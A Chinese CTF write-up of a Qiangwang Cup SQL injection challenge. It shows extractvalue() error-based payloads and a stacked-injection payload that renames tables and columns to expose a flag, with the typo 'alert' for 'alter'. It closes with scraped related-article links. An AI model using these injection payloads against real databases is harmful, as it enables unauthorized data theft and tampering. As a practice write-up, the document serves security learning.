参考的文章链接 :https://www.cnblogs.com/chrysanthemum/p/11657008.html

这个题是强网杯的一道SQL注入的题,网上有不少的在线靶场和writeup,通过这道题我学到了不少。

看到题目之后就是常规的注入,先加 ‘ 报错,然后确定是单引号闭合,order by 查询有两列,正当 要 联合查询的时候,发现了正则匹配过滤 过滤了不少,并且是大小写都同时过滤了,

先是想到了用 updatexml () 报错注入,看到update()被过滤,再报错注入中,还有一种方式和updatexml()函数等效,,就是extractvalue()函数,先使用 extractvalue()函数查下当前的数据库看看能查出来不;

and extractvalue(1,concat(0x7e,(database()),0x7e)) #           爆出来  :error 1105 : XPATH syntax error: '~supersqli~'

同样,要是把database 改成 version 的话 ,就会爆出版本信息  error 1105 : XPATH syntax error: '~10.3.18-MariaDB~'

这个好像和那个updatexml语法格式是一样的,这里 0x7e 就是 asccii码 的 ~ 波浪号;

但是由于过滤了select  ,是无法就行下一步操作的(下一步操作应该是

and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1 ),0x7e));--+) 这里很显然,过滤了select
当时做到这里的时候,思路就断了,之后看了大佬的文章,才知道用堆叠注入,当时也学过堆叠注入,就是没有想到要这么写,,,
接下来需要做的就是查数据库,查表,查字段
 
真是想了半天,,看了半天writeup才明白大佬的解题思路;;;
参考文章/:
(这个大佬给出了三种解题方法,,不过我只看懂一种··)

1,通过 rename 先把 words 表改名为其他的表名。

2,把 1919810931114514 表的名字改为 words 。

3 ,给新 words 表添加新的列名 id 。

4,将 flag 改名为 data 。

  1. 1'; rename table words to word1; rename table `1919810931114514` to words; alert table words
  2. add id int unsigned not Null auto_increment primary key ; alert table words change flag data
  3. varchar(100); #
用自己的话叙述一遍就是:输入1,查出来的内容是  1 和 hahaha 这个其实是 words 表中 id 和 data 两个字段的第一行内容 ,所以说默认的SQL语句查的是words表中的,你把1919810931114514表名字改成words,把1919810931114514中的flag字段改成 data 字段,不就查出来了么。。。。真特X厉害了
 
 
学习到的知识点:
一、不光select ,show 也是可以查字段的 , show databases; show tables ; show students from wechat ;
二、extractvalue()函数的用法和updatexml相同,extractvalue(1,concat(0x7e,database(),0x7e)) 
三、过滤了select 可以尝试用 updatexml或者 extract value函数或者用堆叠注入或者用 show 也是可以
四、表名为数字时,要用反引号包起来查询。
五、在过滤了 select 和 where 的情况下,还可以使用 show 来爆出数据库名,表名,和列名。
六、SQL语句修改已知表的列。( 添加:add | 修改:alert,change | 撤销:drop
  • 添加一个列:
  1. alter table " table_name" add " column_name" type;
  • 删除一个列
  1. alter table " table_name" drop " column_name" type;
  • 改列名
  1. alter table " table_name" change " column1" " column2" type;
  1. alter table "table_name" rename "column1" to "column2";

CTF练习②的更多相关文章

  1. 个人CTF资源聚合

    i春秋 幻泉 CTF入门课程笔记 视频地址 能力 思维能力 快速学习能力 技术能力 基础 编程基础 (c语言 汇编语言 脚本语言) 数学基础 (算法 密码学) 脑洞 (天马行空的想象推理) 体力耐力( ...

  2. 暑假CTF训练一

    暑假CTF训练一 围在栅栏中的爱 题目: 最近一直在好奇一个问题,QWE到底等不等于ABC? -.- .. --.- .-.. .-- - ..-. -.-. --.- --. -. ... --- ...

  3. Sharif University CTF 2016 -- Login to System (PWN 200)

    EN: It's easy to find out where is the bug : .text:0000000000400DE4 ; void *start_routine(void *).te ...

  4. 入CTF坑必不可少的地方-保持更新

    0x00 前言 没有交易,没有买卖,没有排名,纯属分享:p 0x01 CTF介绍 CTF领域指南CTF介绍大全CTF赛事预告 0x02 CTF练习 BIN:reversingpwnableexploi ...

  5. v0lt CTF安全工具包

    0×00 v0lt v0lt是一个我尝试重组每一个我使用过的/现在在使用的/将来要用的用python开发的安全领域CTF工具.实践任务可能会采用bash脚本来解决,但我认为Python更具有灵活性,这 ...

  6. 参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp

    洒家近期参加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比赛,不得不说国际赛的玩法比国内赛更有玩头,有的题给洒家一种一看就知道怎么做,但是做出来还需要洒家拍一 ...

  7. Security Tools (Contain CTF tools)

    From now on I will start to have fun with CTF and other security games or challenges. And I am going ...

  8. 隐写-CTF中图片隐藏文件分离方法总结

    0x00 前言 在安全的大趋势下,信息安全越来越来受到国家和企业的重视,所以CTF比赛场次越来越多,而且比赛形式也不断的创新,题目也更加新颖有趣,对选手的综合信息安全能力有一个较好的考验,当然更好的是 ...

  9. 如何在CTF中当搅屎棍

    论如何在CTF比赛中搅屎 0×00 前言 不能搅屎的CTF不是好CTF,不能搅屎的题目不是好题目. 我很赞成phithon神的一句话,"比赛就是和他人竞争的过程,通过各种手段阻止对手拿分我觉 ...

  10. CTF中那些脑洞大开的编码和加密

    0x00 前言 正文开始之前先闲扯几句吧,玩CTF的小伙伴也许会遇到类似这样的问题:表哥,你知道这是什么加密吗?其实CTF中脑洞密码题(非现代加密方式)一般都是各种古典密码的变形,一般出题者会对密文进 ...

随机推荐

  1. 听法国设计师大卫·维森特讲述他与CorelDRAW的渊源

    在这次采访中,我们采访了法国插画家兼平面设计师大卫·维森特(David Vicente),他的特殊风格与Old-School美学,尤其是疯狂摇滚派有着密切的联系.在他精心制作的插图中,充满了细节和强烈 ...

  2. guitar pro 系列教程(十八):Guitar Pro怎么设置吉他谱的局部速度?

    关于Guitar Pro的使用功能我们在前面的文章也有讲了不少,对于新手的小伙伴,就小编个人而言,在吉他编曲,演绎方面遇到的困难不是一点两点,我们只有通过学习了解他的全部,才能在以后的吉他创作中得心印 ...

  3. 网络管理监视很重要!学编程的你知道哪些不错的网络监控工具?2020 最好的Linux网络监控工具分享给你

    以下文章来源于新钛云服 翻译:侯明明 前言 虽然这个清单包含开源的和闭源的产品,但它着重于介绍基于 Linux 的网络监控工具, 少数常用工具只能在 Windows,Pandora 或其他系统上运行, ...

  4. 【Linux】Linux 资料大全(100% 纯干货)

    作者:李春港 出处:https://www.cnblogs.com/lcgbk/p/14071875.html 本文章给大家分享一些 Linux 学习资料,包含:社区网站.在线教程.命令大全.在线模拟 ...

  5. [oBIX包使用教程] 使用 Python 通过 oBIX 协议访问 Niagara 数据

    oBIX 全称是 Open Building Information Exchange,它是基于 RESTful Web Service 的接口的标准,用于构建控制系统.oBIX是在专为楼宇自动化设计 ...

  6. JDK(JDK8,JDK11)高速下载

    JDK(JDK8,JDK11)高速下载 oracl 需要登陆才能下载,网速还贼慢. 华为云各版本高速下载通道:https://repo.huaweicloud.com/java/jdk/

  7. Vue+EasyPOI导出Excel(带图片)

    一.前言 平时的工作中,Excel 导入导出功能是非常常见的功能,无论是前端 Vue (js-xlsx) 还是 后端 Java (POI),如果让大家手动编码实现的话,恐怕就很麻烦了,尤其是一些定制化 ...

  8. 去除openwrite.cn博客验证码限制

    相信有的小伙伴肯定遇到过如下这种情况,但是作为老白嫖党肯定是 「下次一定」 了,所以今天我们来看看如何不关注公众号实现 「阅读原文」. 如何解决呢? 1.通过 F12 打开控制台,切换至 Elemen ...

  9. charles 常用功能(八)重定向

    1.点击鼠标右键 点击保存就保存到桌面上了 效果图 在123.txt中修改 然后另存为 点击红圈处 然后再次发送请求

  10. 老猿Python博客文章目录索引

    本目录提供老猿Python所有相关博文的一级目录汇总,带星号的为收费专栏: 一.专栏列表 本部分为老猿所有专栏的列表,每个专栏都有该专栏置顶的博文目录: 专栏:Python基础教程目录 专栏:* 使用 ...